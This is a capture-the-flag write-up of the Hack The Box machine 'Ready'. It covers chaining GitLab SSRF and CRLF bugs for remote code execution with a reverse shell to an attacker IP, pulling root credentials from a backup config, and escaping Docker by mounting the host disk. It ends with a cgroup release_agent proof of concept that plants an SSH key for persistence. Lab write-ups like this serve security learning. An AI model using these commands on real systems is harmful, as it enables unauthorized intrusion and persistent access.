Ready was a medium box running a Gitlab instance with a direct exploit. Even though it was a medium box, the exploitation was straightforward from user to root. The root section might tangle a bit if you are not aware of the environment you are in.
The initial phase of the Nmap scan gave two ports. There was no port 80 but port 5080 was running Nginx, hence jumping straight to the IP without a Nmap scan is not a good approach, because there might be webservers running in different ports like for this box and new hosts that are specific to the machines (ex:
machinename.htb )that has to be translated to IP names. A Nmap scan with
-sC will get you the proper results.
# Nmap scan report for 10.10.10.220 Nmap scan report for 10.10.10.220 Host is up (0.21s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 5080/tcp open http nginx Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Browsing http://10.10.10.220:5080 responded with a GitLab instance. The registration function was available and to enumerate more, created a user. There were no restrictions in registration, to use a domain-specific email address. The first thing to do after registration was to look for the version of Gitlab.
Ready was not the first box in HTB running GitLab instance, a recently retired box Laboratory had a GitLab instance. Browsing to the help section revealed the version, 11.4.7. and it had two CVEs CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF). Chaining both of them, it was possible to achieve an RCE. The RCE was done by SSRF targeting Redis for RCE via IPv6/IPv4 address embedding chained with CLRF injection in the
git:// protocol.Liveoverflow has a detailed explanation in his youtube video, which covers the same vulnerability using the manual method. The payload to trigger the RCE was also available in Liveroverflow’s writeup.
The process was simple, providing the above payload in the import URL field opened a shell. The shell broke within a few minutes, someone made a reset. Going back to the manual method was a tedious job, as a new user registration was required after every reset. The next problem was whenever the shell behaves unfriendly, the payload has to be delivered again. I had to face a few minutes of an outage with the shell and service following up with manual exploitation. To avoid all the hassles by manual exploitation, an exploit available in GitHub was used, GitLab RCE. Running the exploit along with Netcat gave a shell as git user at the location
/var/opt/gitlab.The useful part of this exploit was it creates a random user so even if the box was reset getting a shell was an easy job.
$ python3 gitlab_rce.py http://10.10.10.220:5080 <attacking-IP>
I was sure the git user won’t be having any privilege to grab the user.txt.A good enumeration is always the helper to privilege escalation. The usernames for the box were required for that and listing the users in the home directory unfolded the user, dude. No files were revealing the credentials for the user. Recursive grepping the location
/var/opt/gitlab was not helpful.
[email protected]:~$ ls /home dude
There was a
backups folder in the GitLab directory but unfortunately, that was empty. After few minutes of manual enumeration on the subdirectories of the root directory, a backup folder was found. It was located at
/opt/backup.There were three files in the directory, and
GitLab.rb had SMTP credentials for the root user. Those credentials worked.
[email protected]:/opt/backup$ ls docker-compose.yml gitlab-secrets.json gitlab.rb [email protected]:/opt/backup$ su Password: [email protected]:/opt/backup#
With root user privilege,
user.txt was done but it never had the privilege to read root.txt, and that was predictable. But then escalating to read root.txt was not that hard. It was clear root user was inside a docker container since it was
[email protected]. Escaping the docker container was easy than getting the user because hacktricks had that documented well at docker breakout. First, the capabilities of the container have to be listed. If it has any one of the following ones, it might be possible to escape from it,
To check the capabilities
capsh --print can be used. There is a dedicated page for Linux capabilities by hacktricks available here. cap_sys_admin was present and the next part was to list host drives. The host drive is required since the filesystem of the host has to be mounted. Everything was done one by one and the host filesystem was mounted.
[email protected]:/usr/bin# capsh --print Current: = <snip>,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin<snip> <snip> . .. secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) [email protected]:/usr/bin# fdisk -l <snip> . .. Device Start End Sectors Size Type /dev/sda1 2048 4095 2048 1M BIOS boot /dev/sda2 4096 37746687 37742592 18G Linux filesystem /dev/sda3 37746688 41940991 4194304 2G Linux swap [email protected]:/usr/bin# mkdir -p /mnt/hola [email protected]:/usr/bin# mount /dev/sda2 /mnt/hola [email protected]:/usr/bin# [email protected]:/usr/bin# cd /mnt/hola/root [email protected]:/mnt/hola/root# ls [email protected]:/mnt/hola/root# docker-gitlab ready-channel root.txt snap [email protected]:/mnt/hola/root# cat root.txt
The sda2 drive had the Linux filesystem, as shown above, it was mounted to
/mnt/hola and the root flag was captured. But this approach has a small problem, not for this box, but on a real-world pentesting. If stable access to the system is required, getting a reverse shell every time will be a pain. Docker privilege escalation techniques by hacktricks has a POC which has to be changed by adding the attacker’s id_rsa.pub as given below. Even if the Netcat shell is broken at any stage, the server can be accessed via SSH.
mkdir /tmp/dedsec && mount -t cgroup -o rdma cgroup /tmp/dedsec && mkdir /tmp/dedsec/x echo 1 > /tmp/dedsec/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/dedsec/release_agent echo '#!/bin/sh' > /cmd echo "echo 'ssh-rsa ..' > /root/.ssh/authorized_keys" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/dedsec/x/cgroup.procs"